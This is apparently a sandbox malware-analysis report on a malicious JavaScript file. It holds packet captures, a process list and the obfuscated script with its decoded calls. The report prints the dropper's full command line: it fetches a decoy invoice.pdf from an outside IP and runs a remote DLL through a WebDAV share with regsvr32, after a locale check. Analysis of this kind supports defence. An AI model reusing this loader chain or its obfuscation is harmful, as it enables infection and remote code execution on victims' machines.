Jan 11, 2025 06:50:24.945027113 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:50:24.945065975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:50:24.945111990 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:50:24.945148945 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:50:24.945183992 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 06:50:24.945216894 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:50:24.945251942 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 06:50:24.945281029 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 06:50:24.945317984 CET	224	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|
Jan 11, 2025 06:50:24.950225115 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7276	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:50:26.820000887 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:50:27.609704018 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:50:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:50:20
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js"
Imagebase:	0x7ff732bd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:50:20
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Imagebase:	0x7ff7da420000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:50:20
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:50:20
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:50:25
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:50:25
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7da420000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:50:25
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff631280000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:50:26
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:50:26
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:50:26
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1644,i,2083152114314265403,6909359284508397850,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bqyai() {	bqyai() ➔ undefined
1	lglox = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var cbinb = this[dntjxk + pwfnlbxj + sqnvhwcpe + iwpsskm + zcfmfw + jhrtfky + etfabfpwf + dpyycns] ( this[nywrhgqq + znqlpcwka + alzktv + sqnvhwcpe + huyoyrugi + dntjxk + dpyycns][fkzzuukhd + sqnvhwcpe + zcfmfw + pwfnlbxj + dpyycns + zcfmfw + fwkphn + cfoqfqetf + nzuejf + zcfmfw + alzktv + dpyycns] ( nywrhgqq + znqlpcwka + alzktv + sqnvhwcpe + huyoyrugi + dntjxk + dpyycns + sirnwvkar + znqlpcwka + kommf + zcfmfw + pehkyi + pehkyi ) [btbhjtoo + zcfmfw + mnicka + btbhjtoo + zcfmfw + pwfnlbxj + pnxtbwi] ( frjzlubub + dinvylmdk + quduyfwzs + guwmsuur + vvlakcqb + fkzzuukhd + lkqsxyj + btbhjtoo + btbhjtoo + quduyfwzs + bmaby + vszmif + vvlakcqb + lkqsxyj + znqlpcwka + quduyfwzs + btbhjtoo + mvavptr + fkzzuukhd + enlab + etfabfpwf + dpyycns + sqnvhwcpe + enlab + pehkyi + zjxnoq + lajgrzkp + pwfnlbxj + etfabfpwf + zcfmfw + pehkyi + mvavptr + jhrtfky + etfabfpwf + dpyycns + zcfmfw + sqnvhwcpe + etfabfpwf + pwfnlbxj + dpyycns + huyoyrugi + enlab + etfabfpwf + pwfnlbxj + pehkyi + mvavptr + dxsnplwwa + enlab + alzktv + pwfnlbxj + pehkyi + zcfmfw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ycyuwdmkh = 0 ; ycyuwdmkh < lglox[pehkyi + zcfmfw + etfabfpwf + mnicka + dpyycns + kommf] ; ++ ycyuwdmkh )
4	{
5	if ( cbinb == lglox[ycyuwdmkh] )
6	{
7	cbinb = true;
8	break ;
9	}
10	}
11	if ( cbinb !== true )
12	this[nywrhgqq + znqlpcwka + alzktv + sqnvhwcpe + huyoyrugi + dntjxk + dpyycns][furgir + blcxpc + huyoyrugi + dpyycns] ( );
13	this[nywrhgqq + znqlpcwka + alzktv + sqnvhwcpe + huyoyrugi + dntjxk + dpyycns][fkzzuukhd + sqnvhwcpe + zcfmfw + pwfnlbxj + dpyycns + zcfmfw + fwkphn + cfoqfqetf + nzuejf + zcfmfw + alzktv + dpyycns] ( nywrhgqq + znqlpcwka + alzktv + sqnvhwcpe + huyoyrugi + dntjxk + dpyycns + sirnwvkar + znqlpcwka + kommf + zcfmfw + pehkyi + pehkyi ) [sqnvhwcpe + blcxpc + etfabfpwf] ( alzktv + vsnllme + pnxtbwi + zjxnoq + rhoxuympi + alzktv + zjxnoq + dntjxk + enlab + yiyrccl + zcfmfw + sqnvhwcpe + iwpsskm + kommf + zcfmfw + pehkyi + pehkyi + sirnwvkar + zcfmfw + kvjgp + zcfmfw + zjxnoq + cehcc + fkzzuukhd + enlab + vsnllme + vsnllme + pwfnlbxj + etfabfpwf + pnxtbwi + zjxnoq + khnguov + jhrtfky + etfabfpwf + uerkbht + enlab + khzsufsli + zcfmfw + cehcc + nywrhgqq + zcfmfw + cfoqfqetf + btbhjtoo + zcfmfw + guprq + blcxpc + zcfmfw + iwpsskm + dpyycns + zjxnoq + cehcc + fwkphn + blcxpc + dpyycns + vbmyfie + huyoyrugi + pehkyi + zcfmfw + zjxnoq + vaoiofx + dpyycns + zcfmfw + vsnllme + dntjxk + vaoiofx + mvavptr + huyoyrugi + etfabfpwf + uerkbht + enlab + huyoyrugi + alzktv + zcfmfw + sirnwvkar + dntjxk + pnxtbwi + rgrmppd + zjxnoq + kommf + dpyycns + dpyycns + dntjxk + bgtnbqca + rhoxuympi + rhoxuympi + qpouf + hjsxqtt + oehat + sirnwvkar + qpouf + thgylf + oehat + sirnwvkar + qpouf + sirnwvkar + ydmpzjr + hlpjlmgr + hbwqifs + rhoxuympi + huyoyrugi + etfabfpwf + uerkbht + enlab + huyoyrugi + alzktv + zcfmfw + sirnwvkar + dntjxk + kommf + dntjxk + khnguov + dbrnagcgg + dbrnagcgg + iwpsskm + dpyycns + pwfnlbxj + sqnvhwcpe + dpyycns + zjxnoq + vaoiofx + dpyycns + zcfmfw + vsnllme + dntjxk + vaoiofx + mvavptr + huyoyrugi + etfabfpwf + uerkbht + enlab + huyoyrugi + alzktv + zcfmfw + sirnwvkar + dntjxk + pnxtbwi + rgrmppd + dbrnagcgg + dbrnagcgg + alzktv + vsnllme + pnxtbwi + zjxnoq + rhoxuympi + alzktv + zjxnoq + etfabfpwf + zcfmfw + dpyycns + zjxnoq + blcxpc + iwpsskm + zcfmfw + zjxnoq + mvavptr + mvavptr + qpouf + hjsxqtt + oehat + sirnwvkar + qpouf + thgylf + oehat + sirnwvkar + qpouf + sirnwvkar + ydmpzjr + hlpjlmgr + hbwqifs + gezghf + hxpkfg + hxpkfg + hxpkfg + hxpkfg + mvavptr + pnxtbwi + pwfnlbxj + uerkbht + yiyrccl + yiyrccl + yiyrccl + sqnvhwcpe + enlab + enlab + dpyycns + mvavptr + dbrnagcgg + dbrnagcgg + alzktv + vsnllme + pnxtbwi + zjxnoq + rhoxuympi + alzktv + zjxnoq + sqnvhwcpe + zcfmfw + mnicka + iwpsskm + uerkbht + sqnvhwcpe + oehat + ydmpzjr + zjxnoq + rhoxuympi + iwpsskm + zjxnoq + mvavptr + mvavptr + qpouf + hjsxqtt + oehat + sirnwvkar + qpouf + thgylf + oehat + sirnwvkar + qpouf + sirnwvkar + ydmpzjr + hlpjlmgr + hbwqifs + gezghf + hxpkfg + hxpkfg + hxpkfg + hxpkfg + mvavptr + pnxtbwi + pwfnlbxj + uerkbht + yiyrccl + yiyrccl + yiyrccl + sqnvhwcpe + enlab + enlab + dpyycns + mvavptr + qpouf + qpouf + hbwqifs + qpouf + qpouf + ydmpzjr + hlpjlmgr + hjsxqtt + ibfzqikut + hxpkfg + hxpkfg + hxpkfg + hjsxqtt + sirnwvkar + pnxtbwi + pehkyi + pehkyi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll",0,false) ➔ 0
14	}
15	thgylf = "T";
16	thgylf = "x";
17	thgylf = "m";
18	thgylf = "m";
19	thgylf = "T";
20	thgylf = "K";
21	thgylf = "U";
22	thgylf = "k";
23	thgylf = "V";
24	thgylf = "l";
25	thgylf = "f";
26	thgylf = "p";
27	thgylf = "f";
28	thgylf = "N";
29	thgylf = "N";
30	thgylf = "f";
31	thgylf = "U";
32	thgylf = "p";
33	thgylf = "Y";
34	thgylf = "a";
35	thgylf = "R";
36	thgylf = "p";
37	thgylf = "s";
38	thgylf = "H";
39	thgylf = "f";
40	thgylf = "Y";
41	thgylf = "4";
42	fwkphn = "N";
43	fwkphn = "C";
44	fwkphn = "R";
45	fwkphn = "H";
46	fwkphn = "y";
47	fwkphn = "B";
48	fwkphn = "c";
49	fwkphn = "g";
50	fwkphn = "w";
51	fwkphn = "T";
52	fwkphn = "M";
53	fwkphn = "c";
54	fwkphn = "e";
55	fwkphn = "s";
56	fwkphn = "b";
57	fwkphn = "D";
58	fwkphn = "B";
59	fwkphn = "F";
60	fwkphn = "O";
61	vaoiofx = "a";
62	vaoiofx = "Z";
63	vaoiofx = "L";
64	vaoiofx = "h";
65	vaoiofx = "h";
66	vaoiofx = "E";
67	vaoiofx = "v";
68	vaoiofx = "M";
69	vaoiofx = "f";
70	vaoiofx = "w";
71	vaoiofx = "n";
72	vaoiofx = "z";
73	vaoiofx = "t";
74	vaoiofx = "c";
75	vaoiofx = "m";
76	vaoiofx = "Z";
77	vaoiofx = "i";
78	vaoiofx = "u";
79	vaoiofx = "J";
80	vaoiofx = "L";
81	vaoiofx = "E";
82	vaoiofx = "n";
83	vaoiofx = "X";
84	vaoiofx = "R";
85	vaoiofx = "h";
86	vaoiofx = "g";
87	vaoiofx = "%";
88	gezghf = "j";
89	gezghf = "f";
90	gezghf = "q";
91	gezghf = "X";
92	gezghf = "j";
93	gezghf = "C";
94	gezghf = "d";
95	gezghf = "M";
96	gezghf = "o";
97	gezghf = "v";
98	gezghf = "k";
99	gezghf = "y";
100	gezghf = "R";
101	gezghf = "t";
102	gezghf = "S";
103	gezghf = "r";
104	gezghf = "k";
105	gezghf = "c";
106	gezghf = "F";
107	gezghf = "j";
108	gezghf = "Q";
109	gezghf = "p";
110	gezghf = "Q";
111	gezghf = "p";
112	gezghf = "O";
113	gezghf = "W";
114	gezghf = "Z";
115	gezghf = "O";
116	gezghf = "a";
117	gezghf = "F";
118	gezghf = "q";
119	gezghf = "l";
120	gezghf = "Z";
121	gezghf = "m";
122	gezghf = "f";
123	gezghf = "@";
124	hjsxqtt = "X";
125	hjsxqtt = "L";
126	hjsxqtt = "e";
127	hjsxqtt = "E";
128	hjsxqtt = "w";
129	hjsxqtt = "9";
130	vsnllme = "r";
131	vsnllme = "F";
132	vsnllme = "I";
133	vsnllme = "K";
134	vsnllme = "R";
135	vsnllme = "H";
136	vsnllme = "O";
137	vsnllme = "R";
138	vsnllme = "E";
139	vsnllme = "N";
140	vsnllme = "H";
141	vsnllme = "w";
142	vsnllme = "S";
143	vsnllme = "p";
144	vsnllme = "t";
145	vsnllme = "m";
146	vsnllme = "z";
147	vsnllme = "l";
148	vsnllme = "c";
149	vsnllme = "G";
150	vsnllme = "V";
151	vsnllme = "e";
152	vsnllme = "N";
153	vsnllme = "U";
154	vsnllme = "H";
155	vsnllme = "m";
156	sqnvhwcpe = "a";
157	sqnvhwcpe = "A";
158	sqnvhwcpe = "m";
159	sqnvhwcpe = "d";
160	sqnvhwcpe = "g";
161	sqnvhwcpe = "H";
162	sqnvhwcpe = "m";
163	sqnvhwcpe = "A";
164	sqnvhwcpe = "d";
165	sqnvhwcpe = "R";
166	sqnvhwcpe = "w";
167	sqnvhwcpe = "e";
168	sqnvhwcpe = "p";
169	sqnvhwcpe = "R";
170	sqnvhwcpe = "J";
171	sqnvhwcpe = "j";
172	sqnvhwcpe = "p";
173	sqnvhwcpe = "d";
174	sqnvhwcpe = "v";
175	sqnvhwcpe = "M";
176	sqnvhwcpe = "x";
177	sqnvhwcpe = "X";
178	sqnvhwcpe = "A";
179	sqnvhwcpe = "w";
180	sqnvhwcpe = "U";
181	sqnvhwcpe = "M";
182	sqnvhwcpe = "R";
183	sqnvhwcpe = "B";
184	sqnvhwcpe = "d";
185	sqnvhwcpe = "L";
186	sqnvhwcpe = "N";
187	sqnvhwcpe = "A";
188	sqnvhwcpe = "M";
189	sqnvhwcpe = "r";
190	nywrhgqq = "j";
191	nywrhgqq = "M";
192	nywrhgqq = "d";
193	nywrhgqq = "q";
194	nywrhgqq = "V";
195	nywrhgqq = "X";
196	nywrhgqq = "W";
197	cehcc = "H";
198	cehcc = "F";
199	cehcc = "q";
200	cehcc = "z";
201	cehcc = "Z";
202	cehcc = "e";
203	cehcc = "i";
204	cehcc = "-";
205	rgrmppd = "m";
206	rgrmppd = "c";
207	rgrmppd = "D";
208	rgrmppd = "q";
209	rgrmppd = "N";
210	rgrmppd = "N";
211	rgrmppd = "x";
212	rgrmppd = "U";
213	rgrmppd = "t";
214	rgrmppd = "Z";
215	rgrmppd = "k";
216	rgrmppd = "m";
217	rgrmppd = "f";
218	khnguov = "K";
219	khnguov = "Z";
220	khnguov = "e";
221	khnguov = "p";
222	khnguov = "p";
223	khnguov = "Q";
224	khnguov = "Y";
225	khnguov = "Z";
226	khnguov = "b";
227	khnguov = "N";
228	khnguov = "e";
229	khnguov = "V";
230	khnguov = "I";
231	khnguov = "C";
232	khnguov = "N";
233	khnguov = "V";
234	khnguov = "l";
235	khnguov = "W";
236	khnguov = "F";
237	khnguov = "a";
238	khnguov = "i";
239	khnguov = "I";
240	khnguov = "M";
241	khnguov = "N";
242	khnguov = "w";
243	khnguov = "y";
244	khnguov = "N";
245	khnguov = "u";
246	khnguov = "i";
247	khnguov = "m";
248	khnguov = "\"";
249	huyoyrugi = "i";
250	huyoyrugi = "j";
251	huyoyrugi = "S";
252	huyoyrugi = "p";
253	huyoyrugi = "z";
254	huyoyrugi = "O";
255	huyoyrugi = "V";
256	huyoyrugi = "K";
257	huyoyrugi = "Z";
258	huyoyrugi = "h";
259	huyoyrugi = "f";
260	huyoyrugi = "E";
261	huyoyrugi = "k";
262	huyoyrugi = "E";
263	huyoyrugi = "a";
264	huyoyrugi = "i";
265	huyoyrugi = "t";
266	huyoyrugi = "n";
267	huyoyrugi = "K";
268	huyoyrugi = "w";
269	huyoyrugi = "l";
270	huyoyrugi = "C";
271	huyoyrugi = "x";
272	huyoyrugi = "V";
273	huyoyrugi = "M";
274	huyoyrugi = "I";
275	huyoyrugi = "w";
276	huyoyrugi = "F";
277	huyoyrugi = "l";
278	huyoyrugi = "X";
279	huyoyrugi = "Z";
280	huyoyrugi = "i";
281	znqlpcwka = "l";
282	znqlpcwka = "b";
283	znqlpcwka = "Q";
284	znqlpcwka = "k";
285	znqlpcwka = "K";
286	znqlpcwka = "y";
287	znqlpcwka = "V";
288	znqlpcwka = "d";
289	znqlpcwka = "M";
290	znqlpcwka = "I";
291	znqlpcwka = "K";
292	znqlpcwka = "c";
293	znqlpcwka = "T";
294	znqlpcwka = "Q";
295	znqlpcwka = "D";
296	znqlpcwka = "S";
297	znqlpcwka = "T";
298	znqlpcwka = "x";
299	znqlpcwka = "S";
300	znqlpcwka = "D";
301	znqlpcwka = "C";
302	znqlpcwka = "W";
303	znqlpcwka = "G";
304	znqlpcwka = "B";
305	znqlpcwka = "k";
306	znqlpcwka = "Q";
307	znqlpcwka = "S";
308	znqlpcwka = "z";
309	znqlpcwka = "g";
310	znqlpcwka = "h";
311	znqlpcwka = "V";
312	znqlpcwka = "T";
313	znqlpcwka = "Y";
314	znqlpcwka = "x";
315	znqlpcwka = "m";
316	znqlpcwka = "K";
317	znqlpcwka = "H";
318	znqlpcwka = "S";
319	blcxpc = "d";
320	blcxpc = "G";
321	blcxpc = "o";
322	blcxpc = "l";
323	blcxpc = "U";
324	blcxpc = "p";
325	blcxpc = "P";
326	blcxpc = "o";
327	blcxpc = "i";
328	blcxpc = "V";
329	blcxpc = "s";
330	blcxpc = "g";
331	blcxpc = "k";
332	blcxpc = "L";
333	blcxpc = "P";
334	blcxpc = "j";
335	blcxpc = "X";
336	blcxpc = "W";
337	blcxpc = "M";
338	blcxpc = "p";
339	blcxpc = "Q";
340	blcxpc = "f";
341	blcxpc = "D";
342	blcxpc = "Y";
343	blcxpc = "n";
344	blcxpc = "F";
345	blcxpc = "N";
346	blcxpc = "k";
347	blcxpc = "F";
348	blcxpc = "y";
349	blcxpc = "t";
350	blcxpc = "F";
351	blcxpc = "p";
352	blcxpc = "R";
353	blcxpc = "u";
354	qpouf = "N";
355	qpouf = "x";
356	qpouf = "u";
357	qpouf = "g";
358	qpouf = "p";
359	qpouf = "f";
360	qpouf = "d";
361	qpouf = "C";
362	qpouf = "Y";
363	qpouf = "I";
364	qpouf = "L";
365	qpouf = "w";
366	qpouf = "o";
367	qpouf = "G";
368	qpouf = "D";
369	qpouf = "E";
370	qpouf = "g";
371	qpouf = "k";
372	qpouf = "t";
373	qpouf = "Q";
374	qpouf = "i";
375	qpouf = "e";
376	qpouf = "l";
377	qpouf = "v";
378	qpouf = "m";
379	qpouf = "O";
380	qpouf = "D";
381	qpouf = "k";
382	qpouf = "C";
383	qpouf = "q";
384	qpouf = "H";
385	qpouf = "a";
386	qpouf = "1";
387	pehkyi = "E";
388	pehkyi = "b";
389	pehkyi = "b";
390	pehkyi = "H";
391	pehkyi = "r";
392	pehkyi = "N";
393	pehkyi = "p";
394	pehkyi = "R";
395	pehkyi = "m";
396	pehkyi = "m";
397	pehkyi = "k";
398	pehkyi = "Q";
399	pehkyi = "L";
400	pehkyi = "l";
401	fkzzuukhd = "U";
402	fkzzuukhd = "a";
403	fkzzuukhd = "R";
404	fkzzuukhd = "n";
405	fkzzuukhd = "j";
406	fkzzuukhd = "G";
407	fkzzuukhd = "b";
408	fkzzuukhd = "G";
409	fkzzuukhd = "l";
410	fkzzuukhd = "V";
411	fkzzuukhd = "S";
412	fkzzuukhd = "d";
413	fkzzuukhd = "R";
414	fkzzuukhd = "P";
415	fkzzuukhd = "q";
416	fkzzuukhd = "J";
417	fkzzuukhd = "d";
418	fkzzuukhd = "K";
419	fkzzuukhd = "o";
420	fkzzuukhd = "e";
421	fkzzuukhd = "J";
422	fkzzuukhd = "O";
423	fkzzuukhd = "t";
424	fkzzuukhd = "H";
425	fkzzuukhd = "n";
426	fkzzuukhd = "V";
